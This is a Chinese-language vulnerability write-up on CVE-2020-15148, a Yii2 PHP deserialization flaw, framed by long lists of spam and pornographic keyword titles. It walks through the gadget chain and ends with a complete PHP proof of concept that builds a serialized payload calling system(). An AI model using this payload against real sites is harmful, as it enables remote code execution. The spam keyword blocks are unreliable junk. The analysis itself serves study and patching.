日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

CVE-2020-15148漏洞分析

瀏覽:322日期:2022-06-06 15:10:12
目錄
  • 基礎知識
    • Yii2
    • 魔術方法
  • 漏洞分析
    • 結語

      基礎知識

      在學習該漏洞之前我們需要學習一下前置知識來更好的理解該漏洞的產生原因以及如何利用。 我們先來學習一下框架的基本信息以及反序列化漏洞的基本利用過程。

      Yii2

      Yii是一個基于組件的高性能PHP框架,用于開發大型Web應用。Yii采用嚴格的OOP編寫,并有著完善的庫引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個反序列化漏洞,該漏洞在調用unserialize時,攻擊者可通過構造特定的惡意請求執行任意命令,這也是常見的反序列化漏洞的利用過程。

      魔術方法

      提到PHP反序列化一定離不開魔術方法,這些方法通常會在達到一些特殊條件后就會執行,舉個例子:

      __construct() //新建對象時調用

      我們編寫下面的代碼:

      當我們執行時new了一個類,這就會調用里面的魔術方法,從而輸出語句。當然這只是最簡單的魔術方法,下面給大家一個列表來進行參考:

      了解完以上知識點后我們開始對該漏洞進行分析。

      漏洞分析

      首先我們要搭建環境,最好搭建在本地方便調試,源碼地址如下:

      搭建完后我們首先找到漏洞切入點,也就是可能存在威脅的地方,結合上面對魔術方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點,因為里面有個魔術方法在對象銷毀時調用:

      __destruct()調用了reset()方法,方法里面的$this->_dataReader是可控的:

      public function reset(){if ($this->_dataReader !== null) {    $this->_dataReader->close();}

      于是思考接下來要如何利用,根據POC的構造,假設我們將_dataReader變成類然后去調用close()方法,若類型沒有close()方法,同時還有__call魔術方法,則會調用該魔術方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調用了foemat方法:

      public function format($formatter, $arguments = array())    {return call_user_func_array($this->getFormatter($formatter), $arguments);    }

      跟進這里:

      $this->getFormatter($formatter)

      看到存在可控參數:

      public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {     return $this->formatters[$formatter];}foreach ($this->providers as $provider) {    if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];    }}

      this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會發現值為:

      $formatter="close",$arguments=空

      即返回的第一個參數是可控的,我們便可以調用任意的無參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:

       public function run()    {if ($this->checkAccess) {    call_user_func($this->checkAccess, $this->id);}

      this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執行RCE。利用鏈如下:

      yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()

      這里貼一個大佬們的POC:

      <?phpnamespace yiirest{    class CreateAction{public $checkAccess;public $id;public function __construct(){    $this->checkAccess = "system";    $this->id = "phpinfo();";}    }}namespace Faker{    use yiirestCreateAction;    class Generator{protected $formatters;public function __construct(){    $this->formatters["close"] = [new CreateAction, "run"];}    }}namespace yiidb{    use FakerGenerator;    class BatchQueryResult{private $_dataReader;public function __construct(){    $this->_dataReader = new Generator;}    }}namespace{    echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

      下面是傳入構造好的payload對網站進行請求的結果,可以看到成功進行了命令執行。

      結語

      今天給大家帶來的是CVE-2020-15148漏洞的簡單分析,整體看下來還是很簡單的,我們需要注意如何調用的魔術方法以及如何進行RCE,有興趣的小伙伴可以自己去搭建環境進行測試,喜歡本文的朋友希望可以一鍵三連支持一下。

      以上就是CVE-2020-15148漏洞分析的詳細內容,更多關于CVE-2020-15148漏洞的資料請關注其它相關文章!

      標簽: PHP
      日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
      在线一区免费| 久久久久欧美精品| 亚洲制服少妇| 国产一区导航| 在线亚洲激情| 久久午夜视频| 亚久久调教视频| 日本午夜精品一区二区三区电影 | 不卡一区2区| 欧美一级一区| 欧美片网站免费| 国产精品久久久久久久久久10秀| 国产在线不卡一区二区三区| 中文字幕在线看片| 成人污污视频| 日韩黄色在线观看| 欧美日韩 国产精品| 日韩一区二区三区精品| 青草国产精品| 日本欧美大码aⅴ在线播放| 欧美一级一区| 免费成人在线视频观看| 免费人成精品欧美精品| 好吊一区二区三区| 日韩精品欧美大片| 国产色99精品9i| 成人污污视频| 不卡福利视频| 一区久久精品| 久久亚洲电影| 午夜天堂精品久久久久| 日本va欧美va瓶| 久久亚洲精精品中文字幕| 嫩草伊人久久精品少妇av杨幂| 日本少妇一区| 国产视频亚洲| 久久成人精品| 91国内精品| 91午夜精品| а√天堂8资源在线| 日韩精品一区二区三区免费观影| 亚洲精品99| 亚洲毛片在线| 精品亚洲a∨一区二区三区18| 国产成年精品| 国产亚洲在线观看| 日韩欧美中文字幕电影| 国产精品蜜芽在线观看| 91精品精品| 亚州av日韩av| 精品国产99| 久久男女视频| 日韩激情一二三区| 韩日一区二区| 视频一区二区国产| 欧美黄色一区二区| 亚洲综合不卡| 国产欧美精品久久| 999久久久亚洲| 亚洲综合小说| 久久精品亚洲| 伊人久久大香线蕉av不卡| 老司机精品久久| 久久的色偷偷| 亚洲精品中文字幕乱码| 国产精品天天看天天狠| 老牛影视精品| 少妇精品在线| 日韩成人a**站| 一区二区三区国产在线| 美女视频黄久久| 亚洲免费中文| 久久a爱视频| 香蕉久久夜色精品国产| 国产精品久久久久久妇女| 一区二区三区四区日本视频| 久热精品在线| 久久精品国产99国产| 午夜精品免费| 国产精品亚洲综合久久| 国产精品美女| 国产精品亚洲二区| 欧美日韩视频| 久久永久免费| 日本午夜免费一区二区| 秋霞影视一区二区三区| 欧美视频二区| 国产精品99免费看| 国产+成+人+亚洲欧洲在线| 首页国产欧美久久| 亚洲91视频| 国产精品亚洲片在线播放| 黄色在线一区| 九九99久久精品在免费线bt| 国产一级一区二区| 精品久久中文| 久久成人精品| 久久久久.com| 国产精品探花在线观看| 亚洲欧洲午夜| 国产一区二区三区四区大秀| 喷白浆一区二区| 在线观看精品| 国产精品2023| 亚洲1区在线| 亚洲午夜一级| 欧美aⅴ一区二区三区视频| 亚洲午夜免费| 激情久久久久久| 精品久久91| 亚州欧美在线| 99久久99久久精品国产片果冰| 欧美日本精品| 日韩影院免费视频| 99精品在线观看| 久久精品三级| 日韩一二三区在线观看| 99久久99视频只有精品| 岛国av在线网站| 久久国产日韩欧美精品| 夜夜嗨网站十八久久 | 亚洲精品va| 91一区二区| 国产精品mm| 日韩一区二区三区免费视频| 久久中文视频| 国产日韩电影| 日韩在线观看| 老牛影视精品| 99久久99久久精品国产片果冰| 久久精品国产成人一区二区三区| 欧美激情91| 欧美在线观看天堂一区二区三区| 日韩有吗在线观看| 视频一区视频二区在线观看| 欧美日韩国产v| 亚洲va中文在线播放免费| 韩国女主播一区二区三区| 国产精品尤物| 欧美在线看片| 蜜桃av一区二区| 久久亚洲不卡| 蜜桃av一区二区三区电影| 好看不卡的中文字幕| 秋霞影院一区二区三区| 国产亚洲午夜| 日本一区二区免费高清| 国产精品久久久久久av公交车| 日本不卡一二三区黄网| 只有精品亚洲| 日韩一区二区三免费高清在线观看| 石原莉奈在线亚洲二区| 99香蕉国产精品偷在线观看 | 视频一区在线视频| 视频一区二区中文字幕| 一区二区三区网站| 亚洲精品大片| 亚洲色图综合| 91综合久久爱com| 国产亚洲高清一区| 麻豆成人综合网| 黑人精品一区| 成人羞羞视频在线看网址| 亚洲播播91| 久久精品不卡| 尤物在线精品| 国产色99精品9i| 久久精品国产999大香线蕉| 欧美激情aⅴ一区二区三区| 美女视频网站久久| 久久久久久婷| 欧美成人精品三级网站| 一区二区三区视频免费观看| 亚洲精华国产欧美| 在线观看一区| 亚洲伊人精品酒店| 久久精品国产网站| 久久久一本精品| 黄色欧美日韩| 视频一区中文字幕精品| 国产精品主播| 国产一区二区三区四区二区| 日韩在线中文| 亚洲专区欧美专区| 夜久久久久久| 久久精品二区亚洲w码| 亚洲1234区| 三级亚洲高清视频| 国产免费av国片精品草莓男男| 国产精品99久久精品| 黄色日韩在线| 91成人精品在线| 国产成年精品| 婷婷激情久久| 国产精成人品2018| 91精品精品| 日韩av影院| 欧美丰满日韩| 亚洲一区二区免费看| 日韩在线麻豆|